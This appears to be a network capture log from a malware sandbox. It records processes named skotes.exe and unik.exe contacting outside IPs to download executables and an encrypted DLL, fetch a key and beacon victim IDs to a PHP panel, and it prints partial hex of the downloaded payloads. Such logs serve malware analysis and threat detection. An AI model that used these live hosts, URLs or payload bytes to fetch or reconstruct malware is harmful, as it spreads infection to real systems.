9	192.168.2.7	50074	31.41.244.11	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:36:01.864913940 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 27, 2024 16:36:03.201066971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:36:02 GMT Content-Type: application/octet-stream Content-Length: 4424704 Last-Modified: Wed, 27 Nov 2024 13:25:06 GMT Connection: keep-alive ETag: "67471db2-438400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 a0 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c6 00 00 04 00 00 5d 7a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 7f c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 7e c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@]zD@ _sss@~ s6(@.rsrcsF(@.idata sH(@ 7sJ(@eavnjjhw pL(@kvnmziai^C@.taggant0"bC@
Nov 27, 2024 16:36:03.201117039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:03.201129913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:03.201270103 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:03.201283932 CET	1236	IN	Data Raw: 86 17 28 cc 3e e7 66 8e 13 2b ee 93 12 d7 39 ef 46 ae ba a2 0e fc c9 52 c7 0a 9f 15 5b d1 30 60 c7 4b d5 9a 16 3a 34 15 a6 fb 7a 64 3e 54 9b 6d 0c 56 5f a9 17 7a e7 0f 42 b8 ab b2 48 74 66 f6 1d 11 bf 9e 50 64 82 70 f4 21 be c8 cf e5 50 89 53 37 Data Ascii: (>f+9FR[0`K:4zd>TmV_zBHtfPdp!PS7[wCAXVaU=`^pQ7NM{"^t@\|Y.oH}e)-V)4AL)r~kL+P+5g.9R^-GRb~RS&OT4[
Nov 27, 2024 16:36:03.201296091 CET	1236	IN	Data Raw: a0 de c6 22 c7 fd 27 15 72 53 ff e2 f9 a5 1f 7b ab 18 6b 44 3b 0b b9 2d 32 c6 df 5d ca 06 03 46 6a eb 8f a5 12 60 cb 2f 7a bd 90 76 5d 26 a8 45 da ea 84 ab 88 9d 36 83 eb c1 c8 50 d6 7d 2f 41 a6 b9 77 02 8e 17 99 4b e7 cb af f5 49 53 b4 fb 79 00 Data Ascii: "'rS{kD;-2]Fj`/zv]&E6P}/AwKISy7OxzTqq@?(e=>j}LGx;Z1 3'x:7/P%$mIX\|4uSNrp0Wlrx#i~\c
Nov 27, 2024 16:36:03.201307058 CET	448	IN	Data Raw: 55 c6 9e ff 59 d5 cc 63 4b e5 46 11 47 c2 a4 f0 6b ea 6b f2 01 79 66 b7 16 af e9 ef 77 0e 80 93 23 47 80 88 5c 92 e5 a5 9b 63 4c 8a d6 d8 49 13 f0 6e b1 1b c6 c4 8d 9e 28 ff 3a 57 52 5b 4c 6d ad 89 98 a3 a1 3b 71 cd 51 09 c9 76 f5 43 50 0d bd 27 Data Ascii: UYcKFGkkyfw#G\cLIn(:WR[Lm;qQvCP'Lkhs5@&`%7>qD/'97/o}X^>8{OESCmXd+lMYkw*t0WB!tr5.3`;/Fz
Nov 27, 2024 16:36:03.201318979 CET	1236	IN	Data Raw: 18 85 f4 aa 18 a3 c5 12 73 c0 ce 46 ea a1 95 9e 8c c1 09 e1 61 33 56 59 ee 21 a4 b3 b9 3b 75 31 78 19 29 d6 7d 7f a3 23 5f fa 2a 50 9d 7a e1 7d de dc 12 56 58 ac bf 87 ea a9 1e d7 fb 36 02 cd 5f fe b0 58 26 e5 c1 b3 06 b1 d4 53 c6 7e 48 5f c0 53 Data Ascii: sFa3VY!;u1x)}#_*Pz}VX6_X&S~H_Sj~'!6+'s$lO%qqgioG/sPm<ksLmd[?hBjN7XA}SLO{>}\|iJ\N7ui}:<G1\(]%
Nov 27, 2024 16:36:03.201330900 CET	1236	IN	Data Raw: 8a e5 18 ee 3f 9e 6f 24 8a b9 05 2e fe fe 0e 49 86 e6 5d fe 4b d9 3c db fd 9d cd 54 22 dd 8c 11 d0 36 4e ce 02 e0 20 5f 6c 17 56 6f ce c2 e9 52 72 d6 61 d2 57 7a 5c 46 47 32 e9 4a bd 06 eb 6a 2b c7 2a 41 0e 62 8c c2 53 59 4e b3 50 78 eb 21 21 de Data Ascii: ?o$.I]K<T"6N _lVoRraWz\FG2Jj+*AbSYNPx!!jAFx28;zHhnCeX@.?&p=5Sg(SfV0#YDp11iS)[e]g[LX\|@kNMHciSW7m
Nov 27, 2024 16:36:03.201566935 CET	1236	IN	Data Raw: c8 06 14 36 33 cd fa 1a 0c c6 5b b6 5f 4e b0 b9 09 1b c7 17 8d e5 a4 34 c0 7f ab 6c 85 f4 3e 01 89 cd 59 12 49 00 6b e6 6e 57 d1 9f cf 12 cb bf a1 45 79 82 e6 bc e7 47 55 dd d0 93 06 52 15 a0 e3 5a 1e c3 87 38 89 db 09 3d 10 cd 29 28 3e 40 b6 23 Data Ascii: 63[_N4l>YIknWEyGURZ8=)(>@#`O=OL_4#{3my5*UHl6L h[I~(8=`\|')~nF"h1444~.tWLRxKK+RNT)pVV+\|}
Nov 27, 2024 16:36:03.321284056 CET	1236	IN	Data Raw: 3e f5 8c 82 55 1b a8 60 cf b7 48 0f 74 f9 2c 4f c9 5b e6 67 1f 58 c5 ee 05 11 45 29 fe 50 a1 f6 7f 2d 99 84 cd 72 2d 98 0a 48 b2 6e c6 50 0c a8 e9 2f c3 97 e8 33 80 34 92 0d 44 13 44 29 19 40 2e a5 a3 f5 27 95 99 0d 05 fc ed 83 cd 9a bb fa 0b 17 Data Ascii: >U`Ht,O[gXE)P-r-HnP/34DD)@.'wJg:P')Y/TD_F3ur! JDRmD^-<3d;uE;:OSPV*qW$N0}'12(#YS'<)W_wjNA&cdCvE]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50080	185.156.72.65	80	5116	C:\Users\user\AppData\Local\Temp\1009625001\unik.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:36:02.541243076 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:04.044198036 CET	204	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 27, 2024 16:36:04.309007883 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:04.876100063 CET	224	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Nov 27, 2024 16:36:04.955785036 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:05.686255932 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Nov 27, 2024 16:36:05.686408043 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Nov 27, 2024 16:36:05.686486959 CET	448	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Nov 27, 2024 16:36:05.686610937 CET	1236	IN	Data Raw: 94 56 6f 92 44 df 99 d0 e2 07 87 22 38 2a d1 8d 6b 3b c8 f7 e1 b5 00 e9 38 74 ca 24 b7 c2 3f 88 77 ac 79 7e 4b f0 5e 79 57 bd f5 65 c6 f8 b8 fd c0 5d 9c 70 37 a5 45 ab 76 ba a0 33 8b ee 99 a3 da 61 9a 35 1f f1 31 09 03 71 96 d5 28 76 57 11 9e 5e Data Ascii: VoD"8k;8t$?wy~K^yWe]p7Ev3a51q(vW^RK@$V+4trcwMMZoj^}xmgu0f'US]04<cMk2cD$g\|5r_gqKgLoZ
Nov 27, 2024 16:36:05.686713934 CET	1236	IN	Data Raw: 58 c0 cb 65 40 62 96 d2 c0 5a b0 40 d6 25 d6 ca ea 81 87 4f 4f 97 dc 41 ef 2a 66 64 06 53 6d 2a 3f d8 44 59 af 7a 70 c9 ee 8f c8 c1 db 27 48 69 d8 e7 8e c2 56 b7 01 bc 0b 63 45 c8 b6 b5 e2 1a ee a7 1a fe a7 05 65 86 dc c4 60 f9 00 38 79 10 46 0b Data Ascii: Xe@bZ@%OOAfdSm?DYzp'HiVcEe`8yF\|G(^80y-`p+x@Q.QjK=s3GVBfP:}^-RuJhJHz#<6S}Cc*>:cNZNG1M4
Nov 27, 2024 16:36:05.686728001 CET	1236	IN	Data Raw: 97 c8 49 60 d1 46 16 fc 9d 61 11 37 f4 93 5e ed 32 7a c7 3b 41 14 16 b7 4f 84 8d 39 ca 79 46 fc 2f a4 a6 82 f3 b6 68 61 61 41 32 66 02 00 57 51 d9 b9 0a 9a 35 e2 01 f6 64 48 f1 ee 15 5c 2f c3 ce e2 74 99 ad e8 49 c0 49 83 58 d9 d9 5f 15 11 8a 28 Data Ascii: I`Fa7^2z;AO9yF/haaA2fWQ5dH\/tIIX_( N%"PPLT(yFqG=)hZX.`2RsbifK!97e9f\|uUsetj9L~DY)5:w<}gBO$5)iI
Nov 27, 2024 16:36:05.686846972 CET	1236	IN	Data Raw: bd fe 32 26 39 43 46 ac 46 98 3a a9 90 2f db c5 e7 08 95 6c c4 71 43 67 26 21 a1 8e e2 57 01 bf 17 eb ec 95 38 79 19 72 66 f5 b3 f7 1b 75 10 9d 34 6d e2 d0 9a 09 6a 6b 6e fb a0 1b a0 0c 89 8d 39 0d 7b 82 10 1c fb a1 a0 b6 fb 0b bd 91 68 87 0f bc Data Ascii: 2&9CFF:/lqCg&!W8yrfu4mjkn9{h`e\lrp<wW+:s_m]sad8t43g\]Dh-@H<\|jSWU@E/]-L[uNIhq8~'??y9<N5)g.AK2T
Nov 27, 2024 16:36:05.686861038 CET	1236	IN	Data Raw: 9c 93 85 55 4b b0 90 0f 56 82 0c 86 f6 cc 27 8b b1 b8 1f 77 0d b6 88 24 2a 38 27 bc 8c 03 45 5b 5b 2b 90 a7 9b 51 a3 04 60 88 c5 2c 4a 7a 88 0a 01 7d 0c 2e 87 47 cf 80 8f 5e 70 62 4c d5 ad ce bf 64 f2 8f 59 f3 8f 0c c9 92 4f 19 2f 5b b6 f8 01 87 Data Ascii: UKV'w$8'E[[+Q`,Jz}.G^pbLdYO/[)o319Xz&k(pB~IjB1aNG^L/QAD!B5F$%RkQzo):z4fJnpb7[w\n@hm,tsY!FZb[.LJT/
Nov 27, 2024 16:36:05.686867952 CET	1236	IN	Data Raw: 92 77 46 c5 a7 fd 0a 9c 05 19 d8 07 e6 4e b6 52 f6 4f b7 e8 ab ac 30 f3 96 21 2d c8 20 bf 88 b6 9e a4 76 30 56 bc a4 59 bd ec 71 d2 3d ed d8 5f 82 8c b2 16 8f 65 8e 70 b5 77 5e 52 a6 89 7a 08 f3 c9 84 ea 32 44 a6 8a 12 81 c2 79 91 50 d2 42 01 86 Data Ascii: wFNRO0!- v0VYq=_epw^Rz2DyPBh0;ZP!WD.&\"'A2tCarnt9zq]&gmk0~q\mk0G@D)ewX5'%?/-Rcsi?G(F;7@J2v_9`P,uA
Nov 27, 2024 16:36:05.695053101 CET	1236	IN	Data Raw: 63 70 2d 5e 06 f9 a0 88 b2 fe 94 69 78 3a 4d 9f ad 12 4c f0 0a b3 a2 cb 51 00 a5 7b 91 82 2b bb fa aa 10 54 85 b0 7c f4 3c 4b 81 dd ca da d8 19 bf dc 6e eb 76 44 8c 05 1f 15 0d a7 42 02 a3 d9 fa bd 7f 9d a5 c8 1a 0f a8 ed c9 af 96 dc b8 58 66 95 Data Ascii: cp-^ix:MLQ{+T\|<KnvDBXfbyQ#^XJx^0V\|eQSSO^_]/qA]E<P/(#o(MDvo.QcR*S8k][[{:?uH+go6S%m:
Nov 27, 2024 16:36:05.695154905 CET	1236	IN	Data Raw: d4 4c f7 39 c8 e2 8c 1a 47 22 ce 38 a8 0f 36 ba 34 d8 29 d1 07 03 f8 62 9b f4 dc 09 93 7c a9 be 5b 41 f1 b1 38 bc e4 80 f5 2a 12 1e 39 e6 d0 ae 98 c1 0b 4b e0 90 07 04 7c d4 0b 2b 53 92 54 65 fd f5 63 a1 24 fa 52 82 fe 3a 65 6f b5 81 39 e1 46 11 Data Ascii: L9G"864)b\|[A8*9K\|+STec$R:eo9FloSxG~rMH'+},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjy
Nov 27, 2024 16:36:06.221812010 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:06.808511972 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 27, 2024 16:36:08.872626066 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:09.555073023 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 27, 2024 16:36:11.673017025 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:12.264940977 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 27, 2024 16:36:14.627814054 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:15.203352928 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 27, 2024 16:36:17.279077053 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:36:17.874929905 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:36:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50101	185.215.113.43	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:36:13.227962971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009635001&unit=246122658369
Nov 27, 2024 16:36:14.667100906 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50108	185.215.113.16	80	8788	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:36:14.990803957 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 27, 2024 16:36:16.316375971 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 15:36:16 GMT Content-Type: application/octet-stream Content-Length: 1871360 Last-Modified: Wed, 27 Nov 2024 14:40:41 GMT Connection: keep-alive ETag: "67472f69-1c8e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 5e df 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELEg`J@J^@\pp `\@.rsrcpl@.idata n@ *p@avuktrbeP0r@hcoakmjdPJf@.taggant0`J"l@
Nov 27, 2024 16:36:16.316446066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:16.316457987 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:16.316560984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 16:36:16.316574097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ,WXB8vIH_
Nov 27, 2024 16:36:16.316585064 CET	1236	IN	Data Raw: 15 2c 61 a3 6d 7f af 4c 3f b9 aa 9e 42 ea 55 d0 f3 d4 57 aa 24 0d f4 16 89 d5 97 dc b4 8a c8 4b b9 60 bc 10 7f d3 9f 85 fa c7 e8 b3 00 ca 10 68 e6 0d 5f 95 d3 3c d4 17 37 5c aa 9d 7d d7 5c 97 8a b5 cb 36 0d 67 fa af 74 4c cc fd d5 25 8f 5a d8 f2 Data Ascii: ,amL?BUW$K`h_<7\}\6gtL%Z;.\|x{%29!iiOUuAcxYo9p5OF5ffl_w%`t{TfD T`HC@juTWj["K6w&e"s?
